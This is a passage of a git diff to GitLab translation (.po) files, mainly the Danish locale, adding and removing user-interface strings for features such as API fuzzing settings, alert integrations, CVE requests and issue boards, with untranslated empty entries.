msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -36637,18 +37531,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -36679,9 +37567,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36748,15 +37633,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -37054,9 +37930,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -37102,6 +37975,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/da_DK/gitlab.po b/locale/da_DK/gitlab.po
index 2389f79e0b2..ed7b4cd2cc7 100644
--- a/locale/da_DK/gitlab.po
+++ b/locale/da_DK/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: da\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:54\n"
+"PO-Revision-Date: 2021-04-02 00:15\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
